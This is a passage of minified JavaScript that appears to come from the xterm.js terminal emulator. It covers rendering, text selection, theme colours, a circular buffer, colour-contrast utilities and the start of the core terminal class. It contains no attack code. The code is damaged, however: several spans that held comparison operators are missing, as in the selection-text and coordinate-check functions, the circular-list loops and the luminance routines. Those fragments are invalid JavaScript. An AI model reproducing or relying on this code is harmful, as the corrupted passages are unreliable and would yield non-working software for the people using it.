0===e.isIntersecting?0===e.intersectionRatio:!e.isIntersecting,this._isPaused||this._charSizeService.hasValidSize||this._charSizeService.measure(),!this._isPaused&&this._needsFullRefresh&&(this._pausedResizeTask.flush(),this.refreshRows(0,this._rowCount-1),this._needsFullRefresh=!1)}refreshRows(e,t,i=!1){this._isPaused?this._needsFullRefresh=!0:(i||(this._isNextRenderRedrawOnly=!1),this._renderDebouncer.refresh(e,t,this._rowCount))}_renderRows(e,t){this._renderer.value&&(e=Math.min(e,this._rowCount-1),t=Math.min(t,this._rowCount-1),this._renderer.value.renderRows(e,t),this._needsSelectionRefresh&&(this._renderer.value.handleSelectionChanged(this._selectionState.start,this._selectionState.end,this._selectionState.columnSelectMode),this._needsSelectionRefresh=!1),this._isNextRenderRedrawOnly||this._onRenderedViewportChange.fire({start:e,end:t}),this._onRender.fire({start:e,end:t}),this._isNextRenderRedrawOnly=!0)}resize(e,t){this._rowCount=t,this._fireOnCanvasResize()}_handleOptionsChanged(){this._renderer.value&&(this.refreshRows(0,this._rowCount-1),this._fireOnCanvasResize())}_fireOnCanvasResize(){this._renderer.value&&(this._renderer.value.dimensions.css.canvas.width===this._canvasWidth&&this._renderer.value.dimensions.css.canvas.height===this._canvasHeight||this._onDimensionsChange.fire(this._renderer.value.dimensions))}hasRenderer(){return!!this._renderer.value}setRenderer(e){this._renderer.value=e,this._renderer.value.onRequestRedraw((e=>this.refreshRows(e.start,e.end,!0))),this._needsSelectionRefresh=!0,this._fullRefresh()}addRefreshCallback(e){return this._renderDebouncer.addRefreshCallback(e)}_fullRefresh(){this._isPaused?this._needsFullRefresh=!0:this.refreshRows(0,this._rowCount-1)}clearTextureAtlas(){var e,t;this._renderer.value&&(null===(t=(e=this._renderer.value).clearTextureAtlas)||void 0===t||t.call(e),this._fullRefresh())}handleDevicePixelRatioChange(){this._charSizeService.measure(),this._renderer.value&&(this._renderer.value.handleDevicePixelRatioChange(),this.refreshRows(0,this._rowCount-1))}handleResize(e,t){this._renderer.value&&(this._isPaused?this._pausedResizeTask.set((()=>this._renderer.value.handleResize(e,t))):this._renderer.value.handleResize(e,t),this._fullRefresh())}handleCharSizeChanged(){var e;null===(e=this._renderer.value)||void 0===e||e.handleCharSizeChanged()}handleBlur(){var e;null===(e=this._renderer.value)||void 0===e||e.handleBlur()}handleFocus(){var e;null===(e=this._renderer.value)||void 0===e||e.handleFocus()}handleSelectionChanged(e,t,i){var s;this._selectionState.start=e,this._selectionState.end=t,this._selectionState.columnSelectMode=i,null===(s=this._renderer.value)||void 0===s||s.handleSelectionChanged(e,t,i)}handleCursorMove(){var e;null===(e=this._renderer.value)||void 0===e||e.handleCursorMove()}clear(){var e;null===(e=this._renderer.value)||void 0===e||e.clear()}};t.RenderService=u=s([r(2,_.IOptionsService),r(3,h.ICharSizeService),r(4,_.IDecorationService),r(5,_.IBufferService),r(6,h.ICoreBrowserService),r(7,h.IThemeService)],u)},9312:function(e,t,i){var s=this&&this.__decorate||function(e,t,i,s){var r,n=arguments.length,o=n<3?t:null===s?s=Object.getOwnPropertyDescriptor(t,i):s;if("object"==typeof Reflect&&"function"==typeof Reflect.decorate)o=Reflect.decorate(e,t,i,s);else for(var a=e.length-1;a>=0;a--)(r=e[a])&&(o=(n<3?r(o):n>3?r(t,i,o):r(t,i))||o);return n>3&&o&&Object.defineProperty(t,i,o),o},r=this&&this.__param||function(e,t){return function(i,s){t(i,s,e)}};Object.defineProperty(t,"__esModule",{value:!0}),t.SelectionService=void 0;const n=i(9806),o=i(9504),a=i(456),h=i(4725),c=i(8460),l=i(844),d=i(6114),_=i(4841),u=i(511),f=i(2585),v=String.fromCharCode(160),p=new RegExp(v,"g");let g=t.SelectionService=class extends l.Disposable{constructor(e,t,i,s,r,n,o,h,d){super(),this._element=e,this._screenElement=t,this._linkifier=i,this._bufferService=s,this._coreService=r,this._mouseService=n,this._optionsService=o,this._renderService=h,this._coreBrowserService=d,this._dragScrollAmount=0,this._enabled=!0,this._workCell=new u.CellData,this._mouseDownTimeStamp=0,this._oldHasSelection=!1,this._oldSelectionStart=void 0,this._oldSelectionEnd=void 0,this._onLinuxMouseSelection=this.register(new c.EventEmitter),this.onLinuxMouseSelection=this._onLinuxMouseSelection.event,this._onRedrawRequest=this.register(new c.EventEmitter),this.onRequestRedraw=this._onRedrawRequest.event,this._onSelectionChange=this.register(new c.EventEmitter),this.onSelectionChange=this._onSelectionChange.event,this._onRequestScrollLines=this.register(new c.EventEmitter),this.onRequestScrollLines=this._onRequestScrollLines.event,this._mouseMoveListener=e=>this._handleMouseMove(e),this._mouseUpListener=e=>this._handleMouseUp(e),this._coreService.onUserInput((()=>{this.hasSelection&&this.clearSelection()})),this._trimListener=this._bufferService.buffer.lines.onTrim((e=>this._handleTrim(e))),this.register(this._bufferService.buffers.onBufferActivate((e=>this._handleBufferActivate(e)))),this.enable(),this._model=new a.SelectionModel(this._bufferService),this._activeSelectionMode=0,this.register((0,l.toDisposable)((()=>{this._removeMouseDownListeners()})))}reset(){this.clearSelection()}disable(){this.clearSelection(),this._enabled=!1}enable(){this._enabled=!0}get selectionStart(){return this._model.finalSelectionStart}get selectionEnd(){return this._model.finalSelectionEnd}get hasSelection(){const e=this._model.finalSelectionStart,t=this._model.finalSelectionEnd;return!(!e||!t||e[0]===t[0]&&e[1]===t[1])}get selectionText(){const e=this._model.finalSelectionStart,t=this._model.finalSelectionEnd;if(!e||!t)return"";const i=this._bufferService.buffer,s=[];if(3===this._activeSelectionMode){if(e[0]===t[0])return"";const r=e[0]e.replace(p," "))).join(d.isWindows?"\r\n":"\n")}clearSelection(){this._model.clearSelection(),this._removeMouseDownListeners(),this.refresh(),this._onSelectionChange.fire()}refresh(e){this._refreshAnimationFrame||(this._refreshAnimationFrame=this._coreBrowserService.window.requestAnimationFrame((()=>this._refresh()))),d.isLinux&&e&&this.selectionText.length&&this._onLinuxMouseSelection.fire(this.selectionText)}_refresh(){this._refreshAnimationFrame=void 0,this._onRedrawRequest.fire({start:this._model.finalSelectionStart,end:this._model.finalSelectionEnd,columnSelectMode:3===this._activeSelectionMode})}_isClickInSelection(e){const t=this._getMouseBufferCoords(e),i=this._model.finalSelectionStart,s=this._model.finalSelectionEnd;return!!(i&&s&&t)&&this._areCoordsInSelection(t,i,s)}isCellInSelection(e,t){const i=this._model.finalSelectionStart,s=this._model.finalSelectionEnd;return!(!i||!s)&&this._areCoordsInSelection([e,t],i,s)}_areCoordsInSelection(e,t,i){return e[1]>t[1]&&e[1]=t[0]&&e[0]=t[0]}_selectWordAtCursor(e,t){var i,s;const r=null===(s=null===(i=this._linkifier.currentLink)||void 0===i?void 0:i.link)||void 0===s?void 0:s.range;if(r)return this._model.selectionStart=[r.start.x-1,r.start.y-1],this._model.selectionStartLength=(0,_.getRangeLength)(r,this._bufferService.cols),this._model.selectionEnd=void 0,!0;const n=this._getMouseBufferCoords(e);return!!n&&(this._selectWordAt(n,t),this._model.selectionEnd=void 0,!0)}selectAll(){this._model.isSelectAllActive=!0,this.refresh(),this._onSelectionChange.fire()}selectLines(e,t){this._model.clearSelection(),e=Math.max(e,0),t=Math.min(t,this._bufferService.buffer.lines.length-1),this._model.selectionStart=[0,e],this._model.selectionEnd=[this._bufferService.cols,t],this.refresh(),this._onSelectionChange.fire()}_handleTrim(e){this._model.handleTrim(e)&&this.refresh()}_getMouseBufferCoords(e){const t=this._mouseService.getCoords(e,this._screenElement,this._bufferService.cols,this._bufferService.rows,!0);if(t)return t[0]--,t[1]--,t[1]+=this._bufferService.buffer.ydisp,t}_getMouseEventScrollAmount(e){let t=(0,n.getCoordsRelativeToElement)(this._coreBrowserService.window,e,this._screenElement)[1];const i=this._renderService.dimensions.css.canvas.height;return t>=0&&t<=i?0:(t>i&&(t-=i),t=Math.min(Math.max(t,-50),50),t/=50,t/Math.abs(t)+Math.round(14*t))}shouldForceSelection(e){return d.isMac?e.altKey&&this._optionsService.rawOptions.macOptionClickForcesSelection:e.shiftKey}handleMouseDown(e){if(this._mouseDownTimeStamp=e.timeStamp,(2!==e.button||!this.hasSelection)&&0===e.button){if(!this._enabled){if(!this.shouldForceSelection(e))return;e.stopPropagation()}e.preventDefault(),this._dragScrollAmount=0,this._enabled&&e.shiftKey?this._handleIncrementalClick(e):1===e.detail?this._handleSingleClick(e):2===e.detail?this._handleDoubleClick(e):3===e.detail&&this._handleTripleClick(e),this._addMouseDownListeners(),this.refresh(!0)}}_addMouseDownListeners(){this._screenElement.ownerDocument&&(this._screenElement.ownerDocument.addEventListener("mousemove",this._mouseMoveListener),this._screenElement.ownerDocument.addEventListener("mouseup",this._mouseUpListener)),this._dragScrollIntervalTimer=this._coreBrowserService.window.setInterval((()=>this._dragScroll()),50)}_removeMouseDownListeners(){this._screenElement.ownerDocument&&(this._screenElement.ownerDocument.removeEventListener("mousemove",this._mouseMoveListener),this._screenElement.ownerDocument.removeEventListener("mouseup",this._mouseUpListener)),this._coreBrowserService.window.clearInterval(this._dragScrollIntervalTimer),this._dragScrollIntervalTimer=void 0}_handleIncrementalClick(e){this._model.selectionStart&&(this._model.selectionEnd=this._getMouseBufferCoords(e))}_handleSingleClick(e){if(this._model.selectionStartLength=0,this._model.isSelectAllActive=!1,this._activeSelectionMode=this.shouldColumnSelect(e)?3:0,this._model.selectionStart=this._getMouseBufferCoords(e),!this._model.selectionStart)return;this._model.selectionEnd=void 0;const t=this._bufferService.buffer.lines.get(this._model.selectionStart[1]);t&&t.length!==this._model.selectionStart[0]&&0===t.hasWidth(this._model.selectionStart[0])&&this._model.selectionStart[0]++}_handleDoubleClick(e){this._selectWordAtCursor(e,!0)&&(this._activeSelectionMode=1)}_handleTripleClick(e){const t=this._getMouseBufferCoords(e);t&&(this._activeSelectionMode=2,this._selectLineAt(t[1]))}shouldColumnSelect(e){return e.altKey&&!(d.isMac&&this._optionsService.rawOptions.macOptionClickForcesSelection)}_handleMouseMove(e){if(e.stopImmediatePropagation(),!this._model.selectionStart)return;const t=this._model.selectionEnd?[this._model.selectionEnd[0],this._model.selectionEnd[1]]:null;if(this._model.selectionEnd=this._getMouseBufferCoords(e),!this._model.selectionEnd)return void this.refresh(!0);2===this._activeSelectionMode?this._model.selectionEnd[1]0?this._model.selectionEnd[0]=this._bufferService.cols:this._dragScrollAmount<0&&(this._model.selectionEnd[0]=0));const i=this._bufferService.buffer;if(this._model.selectionEnd[1]0?(3!==this._activeSelectionMode&&(this._model.selectionEnd[0]=this._bufferService.cols),this._model.selectionEnd[1]=Math.min(e.ydisp+this._bufferService.rows,e.lines.length-1)):(3!==this._activeSelectionMode&&(this._model.selectionEnd[0]=0),this._model.selectionEnd[1]=e.ydisp),this.refresh()}}_handleMouseUp(e){const t=e.timeStamp-this._mouseDownTimeStamp;if(this._removeMouseDownListeners(),this.selectionText.length<=1&&t<500&&e.altKey&&this._optionsService.rawOptions.altClickMovesCursor){if(this._bufferService.buffer.ybase===this._bufferService.buffer.ydisp){const t=this._mouseService.getCoords(e,this._element,this._bufferService.cols,this._bufferService.rows,!1);if(t&&void 0!==t[0]&&void 0!==t[1]){const e=(0,o.moveToCellSequence)(t[0]-1,t[1]-1,this._bufferService,this._coreService.decPrivateModes.applicationCursorKeys);this._coreService.triggerDataEvent(e,!0)}}}else this._fireEventIfSelectionChanged()}_fireEventIfSelectionChanged(){const e=this._model.finalSelectionStart,t=this._model.finalSelectionEnd,i=!(!e||!t||e[0]===t[0]&&e[1]===t[1]);i?e&&t&&(this._oldSelectionStart&&this._oldSelectionEnd&&e[0]===this._oldSelectionStart[0]&&e[1]===this._oldSelectionStart[1]&&t[0]===this._oldSelectionEnd[0]&&t[1]===this._oldSelectionEnd[1]||this._fireOnSelectionChange(e,t,i)):this._oldHasSelection&&this._fireOnSelectionChange(e,t,i)}_fireOnSelectionChange(e,t,i){this._oldSelectionStart=e,this._oldSelectionEnd=t,this._oldHasSelection=i,this._onSelectionChange.fire()}_handleBufferActivate(e){this.clearSelection(),this._trimListener.dispose(),this._trimListener=e.activeBuffer.lines.onTrim((e=>this._handleTrim(e)))}_convertViewportColToCharacterIndex(e,t){let i=t;for(let s=0;t>=s;s++){const r=e.loadCell(s,this._workCell).getChars().length;0===this._workCell.getWidth()?i--:r>1&&t!==s&&(i+=r-1)}return i}setSelection(e,t,i){this._model.clearSelection(),this._removeMouseDownListeners(),this._model.selectionStart=[e,t],this._model.selectionStartLength=i,this.refresh(),this._fireEventIfSelectionChanged()}rightClickSelect(e){this._isClickInSelection(e)||(this._selectWordAtCursor(e,!1)&&this.refresh(!0),this._fireEventIfSelectionChanged())}_getWordAt(e,t,i=!0,s=!0){if(e[0]>=this._bufferService.cols)return;const r=this._bufferService.buffer,n=r.lines.get(e[1]);if(!n)return;const o=r.translateBufferLineToString(e[1],!1);let a=this._convertViewportColToCharacterIndex(n,e[0]),h=a;const c=e[0]-a;let l=0,d=0,_=0,u=0;if(" "===o.charAt(a)){for(;a>0&&" "===o.charAt(a-1);)a--;for(;h1&&(u+=s-1,h+=s-1);t>0&&a>0&&!this._isCharWordSeparator(n.loadCell(t-1,this._workCell));){n.loadCell(t-1,this._workCell);const e=this._workCell.getChars().length;0===this._workCell.getWidth()?(l++,t--):e>1&&(_+=e-1,a-=e-1),a--,t--}for(;i1&&(u+=e-1,h+=e-1),h++,i++}}h++;let f=a+c-l+_,v=Math.min(this._bufferService.cols,h-a+l+d-_-u);if(t||""!==o.slice(a,h).trim()){if(i&&0===f&&32!==n.getCodePoint(0)){const t=r.lines.get(e[1]-1);if(t&&n.isWrapped&&32!==t.getCodePoint(this._bufferService.cols-1)){const t=this._getWordAt([this._bufferService.cols-1,e[1]-1],!1,!0,!1);if(t){const e=this._bufferService.cols-t.start;f-=e,v+=e}}}if(s&&f+v===this._bufferService.cols&&32!==n.getCodePoint(this._bufferService.cols-1)){const t=r.lines.get(e[1]+1);if((null==t?void 0:t.isWrapped)&&32!==t.getCodePoint(0)){const t=this._getWordAt([0,e[1]+1],!1,!1,!0);t&&(v+=t.length)}}return{start:f,length:v}}}_selectWordAt(e,t){const i=this._getWordAt(e,t);if(i){for(;i.start<0;)i.start+=this._bufferService.cols,e[1]--;this._model.selectionStart=[i.start,e[1]],this._model.selectionStartLength=i.length}}_selectToWordAt(e){const t=this._getWordAt(e,!0);if(t){let i=e[1];for(;t.start<0;)t.start+=this._bufferService.cols,i--;if(!this._model.areSelectionValuesReversed())for(;t.start+t.length>this._bufferService.cols;)t.length-=this._bufferService.cols,i++;this._model.selectionEnd=[this._model.areSelectionValuesReversed()?t.start:t.start+t.length,i]}}_isCharWordSeparator(e){return 0!==e.getWidth()&&this._optionsService.rawOptions.wordSeparator.indexOf(e.getChars())>=0}_selectLineAt(e){const t=this._bufferService.buffer.getWrappedRangeForLine(e),i={start:{x:0,y:t.first},end:{x:this._bufferService.cols-1,y:t.last}};this._model.selectionStart=[0,t.first],this._model.selectionEnd=void 0,this._model.selectionStartLength=(0,_.getRangeLength)(i,this._bufferService.cols)}};t.SelectionService=g=s([r(3,f.IBufferService),r(4,f.ICoreService),r(5,h.IMouseService),r(6,f.IOptionsService),r(7,h.IRenderService),r(8,h.ICoreBrowserService)],g)},4725:(e,t,i)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.IThemeService=t.ICharacterJoinerService=t.ISelectionService=t.IRenderService=t.IMouseService=t.ICoreBrowserService=t.ICharSizeService=void 0;const s=i(8343);t.ICharSizeService=(0,s.createDecorator)("CharSizeService"),t.ICoreBrowserService=(0,s.createDecorator)("CoreBrowserService"),t.IMouseService=(0,s.createDecorator)("MouseService"),t.IRenderService=(0,s.createDecorator)("RenderService"),t.ISelectionService=(0,s.createDecorator)("SelectionService"),t.ICharacterJoinerService=(0,s.createDecorator)("CharacterJoinerService"),t.IThemeService=(0,s.createDecorator)("ThemeService")},6731:function(e,t,i){var s=this&&this.__decorate||function(e,t,i,s){var r,n=arguments.length,o=n<3?t:null===s?s=Object.getOwnPropertyDescriptor(t,i):s;if("object"==typeof Reflect&&"function"==typeof Reflect.decorate)o=Reflect.decorate(e,t,i,s);else for(var a=e.length-1;a>=0;a--)(r=e[a])&&(o=(n<3?r(o):n>3?r(t,i,o):r(t,i))||o);return n>3&&o&&Object.defineProperty(t,i,o),o},r=this&&this.__param||function(e,t){return function(i,s){t(i,s,e)}};Object.defineProperty(t,"__esModule",{value:!0}),t.ThemeService=t.DEFAULT_ANSI_COLORS=void 0;const n=i(7239),o=i(8055),a=i(8460),h=i(844),c=i(2585),l=o.css.toColor("#ffffff"),d=o.css.toColor("#000000"),_=o.css.toColor("#ffffff"),u=o.css.toColor("#000000"),f={css:"rgba(255, 255, 255, 0.3)",rgba:4294967117};t.DEFAULT_ANSI_COLORS=Object.freeze((()=>{const e=[o.css.toColor("#2e3436"),o.css.toColor("#cc0000"),o.css.toColor("#4e9a06"),o.css.toColor("#c4a000"),o.css.toColor("#3465a4"),o.css.toColor("#75507b"),o.css.toColor("#06989a"),o.css.toColor("#d3d7cf"),o.css.toColor("#555753"),o.css.toColor("#ef2929"),o.css.toColor("#8ae234"),o.css.toColor("#fce94f"),o.css.toColor("#729fcf"),o.css.toColor("#ad7fa8"),o.css.toColor("#34e2e2"),o.css.toColor("#eeeeec")],t=[0,95,135,175,215,255];for(let i=0;i<216;i++){const s=t[i/36%6|0],r=t[i/6%6|0],n=t[i%6];e.push({css:o.channels.toCss(s,r,n),rgba:o.channels.toRgba(s,r,n)})}for(let t=0;t<24;t++){const i=8+10*t;e.push({css:o.channels.toCss(i,i,i),rgba:o.channels.toRgba(i,i,i)})}return e})());let v=t.ThemeService=class extends h.Disposable{get colors(){return this._colors}constructor(e){super(),this._optionsService=e,this._contrastCache=new n.ColorContrastCache,this._halfContrastCache=new n.ColorContrastCache,this._onChangeColors=this.register(new a.EventEmitter),this.onChangeColors=this._onChangeColors.event,this._colors={foreground:l,background:d,cursor:_,cursorAccent:u,selectionForeground:void 0,selectionBackgroundTransparent:f,selectionBackgroundOpaque:o.color.blend(d,f),selectionInactiveBackgroundTransparent:f,selectionInactiveBackgroundOpaque:o.color.blend(d,f),ansi:t.DEFAULT_ANSI_COLORS.slice(),contrastCache:this._contrastCache,halfContrastCache:this._halfContrastCache},this._updateRestoreColors(),this._setTheme(this._optionsService.rawOptions.theme),this.register(this._optionsService.onSpecificOptionChange("minimumContrastRatio",(()=>this._contrastCache.clear()))),this.register(this._optionsService.onSpecificOptionChange("theme",(()=>this._setTheme(this._optionsService.rawOptions.theme))))}_setTheme(e={}){const i=this._colors;if(i.foreground=p(e.foreground,l),i.background=p(e.background,d),i.cursor=p(e.cursor,_),i.cursorAccent=p(e.cursorAccent,u),i.selectionBackgroundTransparent=p(e.selectionBackground,f),i.selectionBackgroundOpaque=o.color.blend(i.background,i.selectionBackgroundTransparent),i.selectionInactiveBackgroundTransparent=p(e.selectionInactiveBackground,i.selectionBackgroundTransparent),i.selectionInactiveBackgroundOpaque=o.color.blend(i.background,i.selectionInactiveBackgroundTransparent),i.selectionForeground=e.selectionForeground?p(e.selectionForeground,o.NULL_COLOR):void 0,i.selectionForeground===o.NULL_COLOR&&(i.selectionForeground=void 0),o.color.isOpaque(i.selectionBackgroundTransparent)){const e=.3;i.selectionBackgroundTransparent=o.color.opacity(i.selectionBackgroundTransparent,e)}if(o.color.isOpaque(i.selectionInactiveBackgroundTransparent)){const e=.3;i.selectionInactiveBackgroundTransparent=o.color.opacity(i.selectionInactiveBackgroundTransparent,e)}if(i.ansi=t.DEFAULT_ANSI_COLORS.slice(),i.ansi[0]=p(e.black,t.DEFAULT_ANSI_COLORS[0]),i.ansi[1]=p(e.red,t.DEFAULT_ANSI_COLORS[1]),i.ansi[2]=p(e.green,t.DEFAULT_ANSI_COLORS[2]),i.ansi[3]=p(e.yellow,t.DEFAULT_ANSI_COLORS[3]),i.ansi[4]=p(e.blue,t.DEFAULT_ANSI_COLORS[4]),i.ansi[5]=p(e.magenta,t.DEFAULT_ANSI_COLORS[5]),i.ansi[6]=p(e.cyan,t.DEFAULT_ANSI_COLORS[6]),i.ansi[7]=p(e.white,t.DEFAULT_ANSI_COLORS[7]),i.ansi[8]=p(e.brightBlack,t.DEFAULT_ANSI_COLORS[8]),i.ansi[9]=p(e.brightRed,t.DEFAULT_ANSI_COLORS[9]),i.ansi[10]=p(e.brightGreen,t.DEFAULT_ANSI_COLORS[10]),i.ansi[11]=p(e.brightYellow,t.DEFAULT_ANSI_COLORS[11]),i.ansi[12]=p(e.brightBlue,t.DEFAULT_ANSI_COLORS[12]),i.ansi[13]=p(e.brightMagenta,t.DEFAULT_ANSI_COLORS[13]),i.ansi[14]=p(e.brightCyan,t.DEFAULT_ANSI_COLORS[14]),i.ansi[15]=p(e.brightWhite,t.DEFAULT_ANSI_COLORS[15]),e.extendedAnsi){const s=Math.min(i.ansi.length-16,e.extendedAnsi.length);for(let r=0;r{Object.defineProperty(t,"__esModule",{value:!0}),t.CircularList=void 0;const s=i(8460),r=i(844);class n extends r.Disposable{constructor(e){super(),this._maxLength=e,this.onDeleteEmitter=this.register(new s.EventEmitter),this.onDelete=this.onDeleteEmitter.event,this.onInsertEmitter=this.register(new s.EventEmitter),this.onInsert=this.onInsertEmitter.event,this.onTrimEmitter=this.register(new s.EventEmitter),this.onTrim=this.onTrimEmitter.event,this._array=new Array(this._maxLength),this._startIndex=0,this._length=0}get maxLength(){return this._maxLength}set maxLength(e){if(this._maxLength===e)return;const t=new Array(e);for(let i=0;ithis._length)for(let t=this._length;t=e;t--)this._array[this._getCyclicIndex(t+i.length)]=this._array[this._getCyclicIndex(t)];for(let t=0;tthis._maxLength){const e=this._length+i.length-this._maxLength;this._startIndex+=e,this._length=this._maxLength,this.onTrimEmitter.fire(e)}else this._length+=i.length}trimStart(e){e>this._length&&(e=this._length),this._startIndex+=e,this._length-=e,this.onTrimEmitter.fire(e)}shiftElements(e,t,i){if(!(t<=0)){if(e<0||e>=this._length)throw new Error("start argument out of range");if(e+i<0)throw new Error("Cannot shift elements in list beyond index 0");if(i>0){for(let s=t-1;s>=0;s--)this.set(e+s+i,this.get(e+s));const s=e+t+i-this._length;if(s>0)for(this._length+=s;this._length>this._maxLength;)this._length--,this._startIndex++,this.onTrimEmitter.fire(1)}else for(let s=0;s{Object.defineProperty(t,"__esModule",{value:!0}),t.clone=void 0,t.clone=function e(t,i=5){if("object"!=typeof t)return t;const s=Array.isArray(t)?[]:{};for(const r in t)s[r]=i<=1?t[r]:t[r]&&e(t[r],i-1);return s}},8055:(e,t,i)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.contrastRatio=t.toPaddedHex=t.rgba=t.rgb=t.css=t.color=t.channels=t.NULL_COLOR=void 0;const s=i(6114);let r=0,n=0,o=0,a=0;var h,c,l,d,_;function u(e){const t=e.toString(16);return t.length<2?"0"+t:t}function f(e,t){return e>>0}}(h||(t.channels=h={})),function(e){function t(e,t){return a=Math.round(255*t),[r,n,o]=_.toChannels(e.rgba),{css:h.toCss(r,n,o,a),rgba:h.toRgba(r,n,o,a)}}e.blend=function(e,t){if(a=(255&t.rgba)/255,1===a)return{css:t.css,rgba:t.rgba};const i=t.rgba>>24&255,s=t.rgba>>16&255,c=t.rgba>>8&255,l=e.rgba>>24&255,d=e.rgba>>16&255,_=e.rgba>>8&255;return r=l+Math.round((i-l)*a),n=d+Math.round((s-d)*a),o=_+Math.round((c-_)*a),{css:h.toCss(r,n,o),rgba:h.toRgba(r,n,o)}},e.isOpaque=function(e){return 255==(255&e.rgba)},e.ensureContrastRatio=function(e,t,i){const s=_.ensureContrastRatio(e.rgba,t.rgba,i);if(s)return _.toColor(s>>24&255,s>>16&255,s>>8&255)},e.opaque=function(e){const t=(255|e.rgba)>>>0;return[r,n,o]=_.toChannels(t),{css:h.toCss(r,n,o),rgba:t}},e.opacity=t,e.multiplyOpacity=function(e,i){return a=255&e.rgba,t(e,a*i/255)},e.toColorRGB=function(e){return[e.rgba>>24&255,e.rgba>>16&255,e.rgba>>8&255]}}(c||(t.color=c={})),function(e){let t,i;if(!s.isNode){const e=document.createElement("canvas");e.width=1,e.height=1;const s=e.getContext("2d",{willReadFrequently:!0});s&&(t=s,t.globalCompositeOperation="copy",i=t.createLinearGradient(0,0,1,1))}e.toColor=function(e){if(e.match(/#[\da-f]{3,8}/i))switch(e.length){case 4:return r=parseInt(e.slice(1,2).repeat(2),16),n=parseInt(e.slice(2,3).repeat(2),16),o=parseInt(e.slice(3,4).repeat(2),16),_.toColor(r,n,o);case 5:return r=parseInt(e.slice(1,2).repeat(2),16),n=parseInt(e.slice(2,3).repeat(2),16),o=parseInt(e.slice(3,4).repeat(2),16),a=parseInt(e.slice(4,5).repeat(2),16),_.toColor(r,n,o,a);case 7:return{css:e,rgba:(parseInt(e.slice(1),16)<<8|255)>>>0};case 9:return{css:e,rgba:parseInt(e.slice(1),16)>>>0}}const s=e.match(/rgba?\(\s*(\d{1,3})\s*,\s*(\d{1,3})\s*,\s*(\d{1,3})\s*(,\s*(0|1|\d?\.(\d+))\s*)?\)/);if(s)return r=parseInt(s[1]),n=parseInt(s[2]),o=parseInt(s[3]),a=Math.round(255*(void 0===s[5]?1:parseFloat(s[5]))),_.toColor(r,n,o,a);if(!t||!i)throw new Error("css.toColor: Unsupported css format");if(t.fillStyle=i,t.fillStyle=e,"string"!=typeof t.fillStyle)throw new Error("css.toColor: Unsupported css format");if(t.fillRect(0,0,1,1),[r,n,o,a]=t.getImageData(0,0,1,1).data,255!==a)throw new Error("css.toColor: Unsupported css format");return{rgba:h.toRgba(r,n,o,a),css:e}}}(l||(t.css=l={})),function(e){function t(e,t,i){const s=e/255,r=t/255,n=i/255;return.2126*(s<=.03928?s/12.92:Math.pow((s+.055)/1.055,2.4))+.7152*(r<=.03928?r/12.92:Math.pow((r+.055)/1.055,2.4))+.0722*(n<=.03928?n/12.92:Math.pow((n+.055)/1.055,2.4))}e.relativeLuminance=function(e){return t(e>>16&255,e>>8&255,255&e)},e.relativeLuminance2=t}(d||(t.rgb=d={})),function(e){function t(e,t,i){const s=e>>24&255,r=e>>16&255,n=e>>8&255;let o=t>>24&255,a=t>>16&255,h=t>>8&255,c=f(d.relativeLuminance2(o,a,h),d.relativeLuminance2(s,r,n));for(;c0||a>0||h>0);)o-=Math.max(0,Math.ceil(.1*o)),a-=Math.max(0,Math.ceil(.1*a)),h-=Math.max(0,Math.ceil(.1*h)),c=f(d.relativeLuminance2(o,a,h),d.relativeLuminance2(s,r,n));return(o<<24|a<<16|h<<8|255)>>>0}function i(e,t,i){const s=e>>24&255,r=e>>16&255,n=e>>8&255;let o=t>>24&255,a=t>>16&255,h=t>>8&255,c=f(d.relativeLuminance2(o,a,h),d.relativeLuminance2(s,r,n));for(;c>>0}e.ensureContrastRatio=function(e,s,r){const n=d.relativeLuminance(e>>8),o=d.relativeLuminance(s>>8);if(f(n,o)>8));if(af(n,d.relativeLuminance(t>>8))?o:t}return o}const a=i(e,s,r),h=f(n,d.relativeLuminance(a>>8));if(hf(n,d.relativeLuminance(i>>8))?a:i}return a}},e.reduceLuminance=t,e.increaseLuminance=i,e.toChannels=function(e){return[e>>24&255,e>>16&255,e>>8&255,255&e]},e.toColor=function(e,t,i,s){return{css:h.toCss(e,t,i,s),rgba:h.toRgba(e,t,i,s)}}}(_||(t.rgba=_={})),t.toPaddedHex=u,t.contrastRatio=f},8969:(e,t,i)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.CoreTerminal=void 0;const s=i(844),r=i(2585),n=i(4348),o=i(7866),a=i(744),h=i(7302),c=i(6975),l=i(8460),d=i(1753),_=i(1480),u=i(7994),f=i(9282),v=i(5435),p=i(5981),g=i(2660);let m=!1;class S extends s.Disposable{get onScroll(){return this._onScrollApi||(this._onScrollApi=this.register(new l.EventEmitter),this._onScroll.event((e=>{var t;null===(t=this._onScrollApi)||void 0===t||t.fire(e.position)}))),this._onScrollApi.event}get cols(){return this._bufferService.cols}get rows(){return this._bufferService.rows}get buffers(){return this._bufferService.buffers}get options(){return this.optionsService.options}set options(e){for(const t in e)this.optionsService.options[t]=e[t]}constructor(e){super(),this._windowsWrappingHeuristics=this.register(new s.MutableDisposable),this._onBinary=this.register(new l.EventEmitter),this.onBinary=this._onBinary.event,this._onData=this.register(new l.EventEmitter),this.onData=this._onData.event,this._onLineFeed=this.register(new l.EventEmitter),this.onLineFeed=this._onLineFeed.event,this._onResize=this.register(new l.EventEmitter),this.onResize=this._onResize.event,this._onWriteParsed=this.register(new l.EventEmitter),this.onWriteParsed=this._onWriteParsed.event,this._onScroll=this.register(new l.EventEmitter),this._instantiationService=new n.InstantiationService,this.optionsService=this.register(new h.OptionsService(e)),this._instantiationService.setService(r.IOptionsService,this.optionsService),this._bufferService=this.register(this._instantiationService.createInstance(a.BufferService)),this._instantiationService.setService(r.IBufferService,this._bufferService),this._logService=this.register(this._instantiationService.createInstance(o.LogService)),this._instantiationService.setService(r.ILogService,this._logService),this.coreService=this.register(this._instantiationService.createInstance(c.CoreService)),this._instantiationService.setService(r.ICoreService,this.coreService),this.coreMouseService=this.register(this._instantiationService.createInstance(d.CoreMouseService)),this._instantiationService.setService(r.ICoreMouseService,this.coreMouseService),this.unicodeService=this.register(this._instantiationService.createInstance(_.UnicodeService)),this._instantiationService.setService(r.IUnicodeService,this.unicodeService),this._charsetService=this._instantiationService.createInstance(u.CharsetService),this._instantiationService.setService(r.ICharsetService,this._charsetService),this._oscLinkService=this._instantiationService.createInstance(g.OscLinkService),this._instantiationService.setService(r.IOscLinkService,this._oscLinkService),this._inputHandler=this.register(new 